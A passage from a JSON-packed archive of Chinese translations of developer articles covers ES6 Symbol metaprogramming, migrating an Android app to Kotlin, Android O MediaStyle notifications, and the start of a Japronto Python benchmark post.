类型（这并不是我们想要的）的数组之前，你本该撰写一个自己的 Map 实现来创建 `Foo` 的类型数组而不是 `Array` 类的数组，但现在，有了 `Sympbol.species`，`Foo#map` 能够直接返回了一个 `Foo` 类型的数组：\n\n```js\nclass Foo extends Array {\n    static get [Symbol.species]() {\n        return this;\n    }\n}\n\nclass Bar extends Array {\n    static get [Symbol.species]() {\n        return Array;\n    }\n}\n\nassert(new Foo().map(function(){}) instanceof Foo);\nassert(new Bar().map(function(){}) instanceof Bar);\nassert(new Bar().map(function(){}) instanceof Array);\n```\n\n可能你会问，为什么使用 `this.constructor` 来替代 `this.constructor[Symbol.species]` ？`Symbol.species` 为需要创建的类型提供了 __可定制的__ 入口 —— 可能你不总是想用子类以及创建子类的方法，以下面这段代码为例：\n\n```js\nclass TimeoutPromise extends Promise {\n    static get [Symbol.species]() {\n        return Promise;\n    }\n}\n```\n\n这个 timeout promise 可以创建一个延时的操作 —— 当然，你不希望某个 Promise 会对整个 Prmoise 链上的后续的 Promise 造成延时，所以 `Symbol.species` 能够用来告诉 `TimeoutPromise` 从其原型链方法返回一个 `Promise`（译注：如果返回的是 `TimeoutPromise`，那么由 `Promise#then` 串联的 Promise 链上每个 Promise 都是 TimeoutPromise）。这实在是太方便了。\n\n### Symbol.toPrimitive\n\n这个 Symbol 为我们提供了重载抽象相等性运算符（Abstract Equality Operator，简写是 `==`）。基本上，当 JavaScript 引擎需要将你对象转换为原始值时，`Symbol.toPrimitive` 会被用到 —— 例如，如果你执行 `+object` ，那么 JavaScript 会调用 `object[Symbol.toPrimitive]('number');`，如果你执行 `''+object` ，那么 JavaScript 会调用 `object[Symbol.toPrimive]('string')`，而如果你执行 `if(object)`，JavaScript 则会调用 `object[Symbol.toPrimitive]('default')`。在此之前，我们有 `valueOf` 和 `toString` 来处理这些情况，但是二者多少有些粗糙并且你可能从不会从它们中获得期望的行为。`Symbol.toPrimitive` 的实现如下：\n\n```js\nclass AnswerToLifeAndUniverseAndEverything {\n    [Symbol.toPrimitive](hint) {\n        if (hint === 'string') {\n            return 'Like, 42, man';\n        } else if (hint === 'number') {\n            return 42;\n        } else {\n            // 大多数类（除了 Date）都默认返回一个数值原始值\n            return 42;\n        }\n    }\n}\n\nvar answer = new AnswerToLifeAndUniverseAndEverything();\n+answer === 42;\nNumber(answer) === 42;\n''+answer === 'Like, 42, man';\nString(answer) === 'Like, 42, man';\n```\n\n### Symbol.toStringTag\n\n这是最后一个内置的 Symbol。 `Symbol.toStringTag` 确实是一个非常酷的 Symbol —— 如果你尚未尝试实现一个你自己的用于替代 `typeof` 运算符的类型判断，你可能会用到 `Object#toString()` —— 它返回的是奇怪的 `'[object Object]'` 或者 `'[object Array]'` 这样奇怪的字符串。在 ES6 之前，该方法的行为隐藏在了你看不到实现细节中，但在今天，在 ES6 的乐园中，我们有了一个 Symbol 来左右它的行为！任何传递到 `Object#toString()` 的对象将会被检查是否有一个 `[Symbol.toStringTag]` 属性，这个属性是一个字符串 ，如果有，那么将使用该字符串作为 `Object#toString()` 的结果，例子如下：\n\n```js\nclass Collection {\n\n  get [Symbol.toStringTag]() {\n    return 'Collection';\n  }\n\n}\nvar x = new Collection();\nObject.prototype.toString.call(x) === '[object Collection]'\n```\n\n关于此的另一件事儿是 —— 如果你使用了 [Chai](http://chaijs.com) 来做测试，它现在已经在底层使用了 Symbol 来做类型检测，所以，你能够在你的测试中写 `expect(x).to.be.a('Collection')` （`x` 有一个类似上面 `Symbol.toStringTag` 的属性，这段代码需要运行在支持该 Symbol 的浏览器上）。\n\n## 缺失的 Symbol：Symbol.isAbstractEqual\n\n你可能已经知晓了 ES6 中的 Symbol 的意义和用法，但我真的很喜欢 Symbol 中有关反射的想法，因此还想再多说两句。对于我来说，这还缺失了一个我会为之兴奋的 Symbol：`Symbol.isAbstractEqual`。这个 Symbol 能够让抽象相等性运算符（`==`）重现荣光。像 Ruby、Python 等语言那样，我们能够用我们自己的方式，针对我们自己的类，使用它。当你看见诸如 `lho == rho` 这样的代码时，JavaScript 能够转换为 `rho[Symbol.isAbstractEqual](lho)`，允许类重载运算符 `==` 的意义。这可以以一种向后兼容的方式实现 —— 通过为所有现在的原始值原型（例如 `Number.prototype`）定义默认值，该 Symbol 将使得很多规范更加清晰，并给开发者一个重新拾回 `==` 使用的理由。\n\n## 结论\n\n你是怎样看待 Symbols 的？仍然疑惑不解吗？想对某人大声发泄吗？ 我是 [Titterverse 上的 @keithamus ](https://twitter.com/keithamus) —— 你可以在上面随便叨扰我，说不准某天我就会花上整个午餐时间来告诉你我最喜欢的那些 ES6 新特性。\n\n现在，你已经阅读完了所有关于 Symbols 的东西，接下来你就该阅读 [第二部分 —— Reflect](/metaprogramming-in-es6-part-2-reflect/) 了。\n\n最后我也要感谢那些优秀的开发者  [@focusaurus](https://twitter.com/focusaurus)、 [@mttshw](https://twitter.com/mttshw), [@colby_russell](https://twitter.com/colby_russell)、 [@mdmazzola](https://twitter.com/mdmazzola)，以及 [@WebReflection](https://twitter.com/WebReflection) 对于该文的校对和提升。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/migrating-an-android-project-to-kotlin.md",
    "content": "\n> * 原文地址：[Migrating an Android project to Kotlin](https://medium.com/google-developers/migrating-an-android-project-to-kotlin-f93ecaa329b7)\n> * 原文作者：[Ben Weiss](https://medium.com/@keyboardsurfer)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/migrating-an-android-project-to-kotlin.md](https://github.com/xitu/gold-miner/blob/master/TODO/migrating-an-android-project-to-kotlin.md)\n> * 译者：[wilsonandusa](https://github.com/wilsonandusa)\n> * 校对者：[phxnirvana](https://github.com/phxnirvana), [Zhiw](https://github.com/Zhiw)\n\n# 将 Android 项目迁移到 Kotlin 语言\n\n不久前我们开源了 [Topeka](https://github.com/googlesamples/android-topeka)，一个 Android 小测试程序。\n这个程序是用 [integration tests](https://github.com/googlesamples/android-topeka/tree/master/app/src/androidTest/java/com/google/samples/apps/topeka) 和 [unit tests](https://github.com/googlesamples/android-topeka/tree/master/app/src/test/java/com/google/samples/apps/topeka) 进行测试的, 而且本身全部是用 Java 写的。至少以前是这样的...\n\n### 圣彼得堡岸边的那个岛屿叫什么? _ _ _ _ _ _\n\n2017年谷歌在开发者大会上官方宣布 [支持 Kotlin 编程语言](https://blog.jetbrains.com/kotlin/2017/05/kotlin-on-android-now-official/)。从那时起，我便开始移植 Java 代码，**同时在过程中学习 Kotlin。**\n\n> 从技术角度上来讲，这次的移植并不是必须的，程序本身是十分稳定的，而（这次移植）主要是为了满足我的好奇心。Topeka 成为了我学习一门新语言的媒介。\n\n**如果你好奇的话可以直接来看 [GitHub 上的源代码](https://github.com/googlesamples/android-topeka/tree/kotlin)。\n目前 Kotlin 代码在一个独立的分支上，但我们计划在未来某个时刻将其合并到主代码中。**\n\n这篇文章涵盖了我在迁移代码过程中发现的一些关键点，以及 Android 开发新语言时有用的小窍门。\n\n---\n\n![](https://cdn-images-1.medium.com/max/1600/1*oML2dls3WxjhTnR4a_TTRg.png)\n\n看上去依旧一样\n\n### 🔑 关键的几点\n\n- Kotlin 是一门有趣而强大的语言\n- 多测试才能心安\n- 平台受限的情况很少\n\n---\n\n### 移植到 Kotlin 的第一步\n\n[![](https://ws4.sinaimg.cn/large/006tNc79ly1fhzfqen28gj313o0cswga.jpg)](https://twitter.com/anddev_badvice/status/864998931817615360)\n\n虽然不可能像 Bad Android Advice 所说的那么简单，但至少是个不错的出发点。\n\n第一步和第二步对于学好 Kotlin 来说确实很有用。\n\n然而第三步就要看我个人的造化了。\n\n#### 对于 Topeka 来说实际步骤如下：\n\n1. 学好 [ Kotlin 的基础语法](https://kotlinlang.org/docs/reference/basic-syntax.html)\n2. 通过使用 [Koan](https://github.com/Kotlin/kotlin-koans) 来逐步熟悉这门语言\n3. 使用 “⌥⇧⌘K” 保证（转化后的文件）仍然能一个个通过测试\n4. 修改 Kotlin 文件使其更加符合语言习惯\n5. 重复第四步直到你和审核你代码的人都满意\n6. 完工并上交\n\n### 互通性\n\n**一步步去做是很明智的做法。**\nKotlin 编译为 Java 字节码后两种语言可以互相通用。而且同一个项目中两种语言可以共存，所以并不需要把全部代码都移植成为另一种语言。\n但如果你本来就想这么做，那么重复的改写就是有意义的，这样你在迁移代码时可以尽量地维持项目的稳定性，并在此过程中有所收获。\n\n### 多做测试才能更加安心\n\n搭配使用单元和集成测试的好处很多。在绝大多数情况下，这些测试是用来确保当前修改没有损坏现有的功能。\n\n我选择在一开始使用一个不是很复杂的数据类。在整个项目中我一直在用这些类，它们的复杂性相比来说很低。这样来看在学习新语言的过程中这些类就成为了最理想的出发点。\n\n在通过使用 Android Studio 自带的 Kotlin 代码转换器移植一部分代码后，我开始执行并通过测试，直到最终将测试本身也移植为 Kotlin 代码。\n\n如果没有测试的话，我在每次改写后都需要对可能受影响的功能手动进行测试。自动化的测试在我移植代码的过程中显得更加快捷方便。\n\n所以，如果你还没有对你的应用进行正确测试的话，以上就是你需要这么做的又一个原因。 👆\n\n### 生成的代码并不是每一次都看起来很棒！！\n\n在完成最开始**几乎**自动化的移植代码之后，我开始学习 [Kotlin 代码风格指南](https://kotlinlang.org/docs/reference/coding-conventions.html)。 这使我发现还有一条很长的路要走。\n\n总体来讲，代码生成器用起来很不错。尽管有很多语言特征和风格在转换过程中没有被使用，但翻译语言本来就是件很棘手的事，这么做可能更好一些，尤其是当这门语言所包含很多的特征或者可以通过不同方式进行表达的时候。\n\n如果想要了解更多有关 Kotlin 转换器的内容， [Benjamin Baxter](https://medium.com/@benbaxter) 写过一些他自己的经历：\n\n[![](https://ws1.sinaimg.cn/large/006tNc79ly1fhzfrxrvuqj313o0a2400.jpg)](https://medium.com/google-developers/lessons-learned-while-converting-to-kotlin-with-android-studio-f0a3cb41669)\n\n### ‼️ ⁉\n\n我发现自动转换会生成很多的 `?` 和 `!!` 。\n这些符号是用来定义可为空的数值和保证其不为空值的。他们反而会导致 `空指针异常`。\n我不禁想到一条很恰当的名言\n\n> “过多使用感叹号，” 他一边摇头一边说道， ”是心理不正常的表现。” — [Terry Pratchett](https://wiki.lspace.org/mediawiki/Multiple_exclamation_marks)\n\n在大部分情况下它不会成为空值，所以我们不需要使用空值的检查。同时也没必要通过构造器来直接初始所有的数值，可以使用 `lateinit` 或者委托来代替初始的流程。\n\n然而这些方法也不是万能的：\n\n[![](https://ws3.sinaimg.cn/large/006tNc79ly1fhzfsm2ll1j310c0dedhp.jpg)](https://twitter.com/dimsuz/status/883052997688930304)\n\n有时候变量会成为空值。\n\n看来我得重新把 view 定义为可为空值。\n\n在其他情况下你还是得检查是否 `null` 存在。如果存在 `supportActionBar` 的话， `*supportActionBar*?.setDisplayShowTitleEnabled(false)` 才会执行问号以后的代码。\n这意味着更少的基于 null 检查的 if 条件声明。 🔥\n\n直接在非空数值上使用 stdlib 函数非常方便：\n\n```\ntoolbarBack?.let {\n    it.scaleX = 0f\n    it.scaleY = 0f\n}\n```\n\n大规模地使用它...\n\n---\n\n### 变得越来越符合语言习惯\n\n因为我们可以通过审核者的反馈不断地改写生成的代码来使其变得更加符合语言的习惯。这使代码更加简洁并且提升了可读性。以上特点可以证明 Kotlin 是门很强大的语言，\n\n来看看我曾经遇到过的几个例子吧。\n\n#### 少读点儿并不一定是件坏事\n我们拿 adapter 里面的 `getView` 来举例：\n\n```\n@Override\npublic View getView(int position, View convertView, ViewGroup parent) {\n        if (null == convertView) {\n           convertView = createView(parent);\n        }\n        bindView(convertView);\n        return convertView;\n}\n```\n\nJava 中的 getView\n\n```\noverride fun getView(position: Int, convertView: View?, parent: ViewGroup) =\n    (convertView ?: createView(parent)).also { bindView(it) }\n```\n\nKotlin 的 getView\n\n这两段代码在做同一件事：\n\n先检查 `convertView` 是否为 `null` ，然后在 `createView(...)` 里面创建一个新的 `view` ，或者返回 `convertView`。同时在最后调用 `bindView(...)`.\n\n两端代码都很清晰，不过能从八行代码减到只有两行确实**让我很惊讶。**\n\n#### 数据类很神奇 🦄\n\n为了进一步展现 Kotlin 的精简所在，使用数据类可以轻松避免冗长的代码：\n\n```\npublic class Player {\n\n    private final String mFirstName;\n    private final String mLastInitial;\n    private final Avatar mAvatar;\n\n    public Player(String firstName, String lastInitial, Avatar avatar) {\n        mFirstName = firstName;\n        mLastInitial = lastInitial;\n        mAvatar = avatar;\n    }\n\n    public String getFirstName() {\n        return mFirstName;\n    }\n\n    public String getLastInitial() {\n        return mLastInitial;\n    }\n\n    public Avatar getAvatar() {\n        return mAvatar;\n    }\n\n    @Override\n    public boolean equals(Object o) {\n        if (this == o) {\n            return true;\n        }\n        if (o == null || getClass() != o.getClass()) {\n            return false;\n        }\n\n        Player player = (Player) o;\n\n        if (mAvatar != player.mAvatar) {\n            return false;\n        }\n        if (!mFirstName.equals(player.mFirstName)) {\n            return false;\n        }\n        if (!mLastInitial.equals(player.mLastInitial)) {\n            return false;\n        }\n\n        return true;\n    }\n\n    @Override\n    public int hashCode() {\n        int result = mFirstName.hashCode();\n        result = 31 * result + mLastInitial.hashCode();\n        result = 31 * result + mAvatar.hashCode();\n        return result;\n    }\n}\n```\n\n下面我们来看怎么用 Kotlin 写这段代码:\n\n```\ndata class Player( val firstName: String?, val lastInitial: String?, val avatar: Avatar?)\n```\n\n是的，在保证功能的情况下少了整整五十五行代码。这就是[数据类的神奇之处](https://kotlinlang.org/docs/reference/data-classes.html)。\n\n#### 扩展功能性\n\n下面可能就是传统 Android 开发者觉得奇怪的地方了。Kotlin 允许在一个给定范围内创建你自己的 DSL。\n\n**来看看它是如何运作的**\n\n有时我们会在 Topeka 里通过\n`Parcel` 传递 boolean。Android 框架的 API 无法直接支持这项功能。在一开始实现这项功能的时候必须调用一个功能类函数例如`ParcelableHelper.writeBoolean(parcel, value)`。\n如果使用 Kotlin，[扩展函数](https://kotlinlang.org/docs/reference/extensions.html)可以解决之前的难题：\n\n```\nimport android.os.Parcel\n\n/**\n * 将一个 boolean 值写入[Parcel]。\n * @param toWrite 是即将写入的值。\n */\nfun Parcel.writeBoolean(toWrite: Boolean) = writeByte(if (toWrite) 1 else 0)\n\n/**\n * 从[Parcel]中得到 boolean 值。\n */\nfun Parcel.readBoolean() = 1 == this.readByte()\n```\n当写好以上代码之后，我们可以把\n `parcel.writeBoolean(value)` 和 `parcel.readBoolean()` 当成框架的一部分直接调用。要不是因为 Android Studio 使用不同的高亮方式区分扩展函数，很难看出它们之间的区别。\n\n\n**扩展函数可以提升代码的可读性。** 来看看另一个例子：在 view 的层次结构中替换 Fragment。\n\n如果使用 Java 的话代码如下：\n\n```\ngetSupportFragmentManager().beginTransaction()\n        .replace(R.id.quiz_fragment_container, myFragment)\n        .commit();\n```\n\n这几行代码其实写的还不错。但每次当 Fragment 被替换的时候你都要把这几行代码再写一遍，或者在其他的 Utils 类中创建一个函数。\n\n如果使用 Kotlin，当我们在 `FragmentActivity` 中需要替换 Fragment 的时候，只需要使用如下代码调用 `replaceFragment(R.id.container, MyFragment())` 即可:\n\n```\nfun FragmentActivity.replaceFragment(@IdRes id: Int, fragment: Fragment) {\n    supportFragmentManager.beginTransaction().replace(id, fragment).commit()\n}\n```\n\n替换 Fragment 只需一行代码\n#### 少一些形式，多一点儿功能\n\n**高阶函数**太令我震撼了。是的，我知道这不是什么新的概念，但对于部分传统 Android 开发者来说可能是。我之前有听说过这类函数，也见有人写过，但我从未在我自己的代码中使用过它们。\n\n在 Topeka 里我有好几次都是依靠 `OnLayoutChangeListener` 来实现注入行为。如果没有 Kotlin ，这样做会生成一个包含重复代码的匿名类。\n\n迁移代码之后，只需要调用以下代码：\n`view.onLayoutChange { myAction() }`\n\n这其中的代码被封装到如下扩展函数中了：\n\n```\n/**\n * 当布局改变时执行对应代码\n */\ninline fun View.onLayoutChange(crosssinline action: () -> Unit) {\n    addOnLayoutChangeListener(object : View.OnLayoutChangeListener {\n        override fun onLayoutChange(v: View, left: Int, top: Int,\n                                    right: Int, bottom: Int,\n                                    oldLeft: Int, oldTop: Int,\n                                    oldRight: Int, oldBottom: Int) {\n            removeOnLayoutChangeListener(this)\n            action()\n        }\n    })\n}\n```\n\n使用高阶函数减少样板代码\n\n另一个例子能证明以上的功能同样可以被应用于数据库的操作中：\n\n```\ninline fun SQLiteDatabase.transact(operation: SQLiteDatabase.() -> Unit) {\n    try {\n        beginTransaction()\n        operation()\n        setTransactionSuccessful()\n    } finally {\n        endTransaction()\n    }\n}\n```\n\n少一些形式，多一些功能\n\n这样写完后，API 使用者只需要调用 `db.transact { operation() }` 就可以完成以上所有操作。\n\n[通过 Twitter 进行更新](https://twitter.com/pacoworks/status/885147451757350912): 通过使用 `SQLiteDatabase.()` 而不是 `()` 可以在 `operation()` 中传递函数并实现直接使用数据库。🔥\n\n不用我多说你应该已经懂了。\n\n> 使用高阶和扩展函数能够提升项目的可读性，同时能去除冗长的代码，提升性能并省略细节。\n\n---\n\n### 有待探索\n\n目前为止我一直在讲代码规范以及一些开发的惯例，都没有提到有关 Android 开发的实践经验。\n\n这主要是因为我对这门语言还不是很熟，或者说我还没有花太大精力去收集并发表这方面的内容。也许是因为我还没有碰到这类情况，但似乎还有相当多的平台特定的语言风格。如果你知道这种情况，请在评论区补充。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/migrating-mediastyle-notifications-to-support-android-o.md",
    "content": "> * 原文地址：[Migrating MediaStyle notifications to support Android O](https://medium.com/google-developers/migrating-mediastyle-notifications-to-support-android-o-29c7edeca9b7)\n> * 原文作者：[Nazmul Idris (Naz)](https://medium.com/@nazmul?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/migrating-mediastyle-notifications-to-support-android-o.md](https://github.com/xitu/gold-miner/blob/master/TODO/migrating-mediastyle-notifications-to-support-android-o.md)\n> * 译者： [ppp-man](https://github.com/ppp-man)\n> * 校对者：[llp0574](https://github.com/llp0574) [zhaochuanxing](https://github.com/zhaochuanxing)\n\n# 在 Android O 上用到 MediaStyle 的提醒功能\n\n## 让 MediaStyle 的提醒功能在 Android O 上为你服务\n\n![](https://cdn-images-1.medium.com/max/2000/1*tnLgad0_ePYanfSAQ3F7pA.png)\n\n### 简介\n\n如果你在 API level 25 或以下的版本上用 `MediaStyle` 的提醒功能，这篇文章充当把这功能迁移到 Android O 上的指引。`MediaStyle` 的提醒功能通常是有限制的，并在后台开启那些允许音频回放的服务。\n\nAndroid O 的一些主要的区别需要被考虑到。\n\n1. 后台要以 `[startForegroundService(Intent)](https://developer.android.google.cn/preview/features/background.html#services)` 开头， 而且五秒内一定要出现个持续性的提醒。\n2. 如果要显示提醒就一定要用到提醒渠道。\n\n整合到 Android O 的迁移需要以下几个小步骤。\n\n### 第一步：改变导入的语句\n\n记得把下面的代码加到你的导入语句中：\n\n```\nimport android.support.v4.app.NotificationCompat;  \nimport android.support.v4.content.ContextCompat;  \nimport android.support.v4.media.app.NotificationCompat.MediaStyle;</pre>\n```\n\n或许之前会有 v7 的导入语句，但现在已经不再需要：\n\n```\nimport android.support.v7.app.NotificationCompat;</pre>\n```\n\n现在你的 `build.gradle` 文件里，只需要导入包含 `MediaStyle` 类的 `media-compat` 函数库。\n\n```\nimplementation ‘com.android.support:support-media-compat:26.+’</pre>\n```\n\n`MediaStyle` 在 `android.support.v4.media` 这个包里因为它现在是 `[media-compat](https://developer.android.google.cn/topic/libraries/support-library/packages.html#v4-media-compat)` 依赖的一部分。特意不将它们放在 `support-compat` 库里的原因是保持支持库模块里的关注点分离。\n\n### 第二步：用 NotificationCompat 和渠道\n\n为了在 Android O 里用到提醒功能，你一定要用提醒渠道。v4 支持库现在有为了创建提醒的新构造器：\n\n```\nNotificationCompat.Builder notificationBuilder =  \n        new NotificationCompat.Builder(mContext, CHANNEL_ID);</pre>\n```\n\n老的构造器到了 26.0.0 版的支持库就不能用了，因而你在用 API 26 的时候提醒就不会显示（因为渠道在 API 26 里是提醒功能的先要条件）：\n\n```\nNotificationCompat.Builder notificationBuilder =  \n        new NotificationCompat.Builder(mContext);</pre>\n```\n\n为了更好地理解 Android O 里的渠道，请在 [developer.android.google.cn](https://developer.android.google.cn/preview/features/notification-channels.html) 上阅读所有相关信息。Google Play Music 可以让你自定义提醒消息。例如，如果你只关心”重放“相关的提醒，就可以只启用与之相关的提醒并禁用其他。\n\n![](https://cdn-images-1.medium.com/max/800/0*I8gqatqtqnPtzCZP.)\n\n`NotificationCompat` 这个类并不帮你创建渠道，你依然要[自己创建一个](https://developer.android.google.cn/preview/features/notification-channels.html#CreatingChannels)。这里有一个 Android O 的例子。\n\n```\nprivate static final String CHANNEL_ID = \"media_playback_channel\";\n\n    @RequiresApi(Build.VERSION_CODES.O)\n    private void createChannel() {\n        NotificationManager\n                mNotificationManager =\n                (NotificationManager) mContext\n                        .getSystemService(Context.NOTIFICATION_SERVICE);\n        // 渠道 ID\n        String id = CHANNEL_ID;\n        // 用户看到的渠道名字\n        CharSequence name = \"Media playback\";\n        // 用户看到的渠道描述\n        String description = \"Media playback controls\";\n        int importance = NotificationManager.IMPORTANCE_LOW;\n        NotificationChannel mChannel = new NotificationChannel(id, name, importance);\n        // 渠道的配置\n        mChannel.setDescription(description);\n        mChannel.setShowBadge(false);\n        mChannel.setLockscreenVisibility(Notification.VISIBILITY_PUBLIC);\n        mNotificationManager.createNotificationChannel(mChannel);\n    }\n```\n\n这段代码利用 `NotificationCompat` 生成 `MediaStyle` 提醒。\n\n```\nimport android.support.v4.app.NotificationCompat;\nimport android.support.v4.content.ContextCompat;\nimport android.support.v4.media.app.NotificationCompat.MediaStyle;\n\n//...\n\n// 你只需要在 API 26 以上的版本创建渠道\nif (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {\n  createChannel();\n}\nNotificationCompat.Builder notificationBuilder =\n       new NotificationCompat.Builder(mContext, CHANNEL_ID);\nnotificationBuilder\n       .setStyle(\n               new MediaStyle()\n                       .setMediaSession(token)\n                       .setShowCancelButton(true)\n                       .setCancelButtonIntent(\n                           MediaButtonReceiver.buildMediaButtonPendingIntent(\n                               mContext, PlaybackStateCompat.ACTION_STOP)))\n       .setColor(ContextCompat.getColor(mContext, R.color.notification_bg))\n       .setSmallIcon(R.drawable.ic_stat_image_audiotrack)\n       .setVisibility(NotificationCompat.VISIBILITY_PUBLIC)\n       .setOnlyAlertOnce(true)\n       .setContentIntent(createContentIntent())\n       .setContentTitle(“Album”)\n       .setContentText(“Artist”)\n       .setSubText(“Song Name”)\n       .setLargeIcon(MusicLibrary.getAlbumBitmap(mContext, description.getMediaId()))\n       .setDeleteIntent(MediaButtonReceiver.buildMediaButtonPendingIntent(\n               mService, PlaybackStateCompat.ACTION_STOP));\nview rawMediaStyleNotification.java hosted with ❤ by GitHub\n```\n\n### 第三步：用 ContextCompat 来激活 startForegroundService()\n\n在 Android O里，像音乐重放这类理应是在后台运行的服务需要用 `Context.startForegroundService()` 而不是 `Context.startService()` 来启动。如果你在 Android O 上，就可以用 `ContextCompat` 这个类来自动帮你完成，如果你在 Android N 或之前的版本就需要用 `startService(Intent)` 来启动。\n\n```\nif (isPlaying && !mStarted) {\n   Intent intent = new Intent(mContext, MusicService.class);\n   ContextCompat.startForegroundService(mContext, intent);\n   mContext.startForeground(NOTIFICATION_ID, notification);\n   mStarted = true;\n}\n```\n\n就是那么简单！三个简单步骤就能帮你把 `MediaStyle` 的后台提醒功能从 Android O 之前的版本迁移到 Android O 上。\n\n关于 `MediaStyle` 更新的更多资讯，请看[这里](https://developer.android.google.cn/topic/libraries/support-library/revisions.html#26-0-0)\n\n### 安卓（Android）媒体资源\n\n* [Understanding MediaSession](https://medium.com/google-developers/understanding-mediasession-part-1-3-e4d2725f18e4)\n* [Building a simple audio playback app using MediaPlayer](https://medium.com/google-developers/building-a-simple-audio-app-in-android-part-1-3-c14d1a66e0f1)\n* [Android Media API Guides — Media Apps Overview](https://developer.android.google.cn/guide/topics/media-apps/media-apps-overview.html)\n* [Android Media API Guides — Working with a MediaSession](https://developer.android.google.cn/guide/topics/media-apps/working-with-a-media-session.html)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/million-requests-per-second-with-python.md",
    "content": "> * 原文地址：[A million requests per second with Python](https://medium.freecodecamp.com/million-requests-per-second-with-python-95c137af319#.59n519vvy)\n* 原文作者：[Paweł Piotr Przeradowski](https://medium.freecodecamp.com/@squeaky_pl?source=post_header_lockup)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[cdpath](https://github.com/cdpath)\n* 校对者：[Kangkang](https://github.com/xuxiaokang), [独步清风](https://github.com/dubuqingfeng)\n\n# 用 Python 实现每秒百万级请求\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/2000/1*nAr_UQ1RcT-2mcfstPLocQ.jpeg\">\n\n用 Python 可以每秒发出百万个请求吗？这个问题终于有了肯定的回答。\n\n许多公司抛弃 Python 拥抱其他语言就为了提高性能节约服务器成本。但是没必要啊。Python 也可以胜任。\n\nPython 社区近来针对性能做了很多优化。CPython 3.6 新的字典实现方式提升了解释器的总体性能。得益于更快的调用约定和字典查询缓存，CPython 3.7 会更快。\n\n对于计算密集型工作，可以利用 PyPy 的即时编译。Numpy 的测试组件亦可一试，其对 C 拓展的兼容性已有全面提升。预计今年晚些时候 PyPy 会兼容 Python 3.5。\n\n所有这些杰出的贡献鼓舞我在 Python 应用最广泛的领域 —— web 和微服务 —— 开拓创新。\n\n### 欢迎来到 Japronto 的世界！\n\n[Japronto](https://github.com/squeaky-pl/japronto) 是为你的需求量身打造的全新微服务框架。其主要目标就是**快，可拓展并且轻量**。通过 asyncio 使得同时**同步**和**异步**编程变成可能。而且 Japronto 出人意料的**快**，甚至快过 NodeJS 和 Go。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*FThTeS_kxx3j7AkTgmMKNw.png\">\n\nPython 微框架（蓝色），黑暗力量（绿色）和 Japronto（紫色）\n\n**勘误**：@heppu 指出， Go 标准库 HTTP 服务端如果写得更小心些可以获得比图表所示要高 **12% 的速度提升**。此外还有个出色的 Go 语言 fasthttp 服务端实现，据说在这个基准测试中只比 Japronto **慢 18%**。赞！详见 [https://github.com/squeaky-pl/japronto/pull/12](https://github.com/squeaky-pl/japronto/pull/12)  和 [https://github.com/squeaky-pl/japronto/pull/14](https://github.com/squeaky-pl/japronto/pull/14)。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*z0kap1TTsGimPXTafpW0gw.png\">\n\n我们同时注意到 Meinheld WSGI 服务端几乎跟 NodeJS 和 Go 一样快。尽管其内部采用阻塞设计，它和前面四个 Python 异步方案比起来性能也不差。所以不要轻信任何人所说的异步系统一定更快的言论。异步几乎一定意味着更高的并发，但是往往并发过了头了。\n\n我用 “Hello world！” 做了这个小基准测试，足够说明一些服务器框架解决方案的系统开销。\n\n这些测试是在 AWS São Paulo 区的 c4.2xlarge 实例上进行的，配置是 8 VCPU，默认配置的共享带宽，HVM 虚拟化和弹性存储。操作系统是 Ubuntu 16.04.1 LTS (Xenial Xerus)，内核是 Linux 4.4.0–53-generic x86_64，CPU 是 Xeon® E5–2666 v3，主频是 2.90GHz。Python 版本是最近从源码编译的 Python 3.6。\n\n公平起见，所有评比对象（包括 Go）都运行在单工作进程上。服务端则使用单线程的 [wrk](https://github.com/wg/wrk) 做负载测试，100 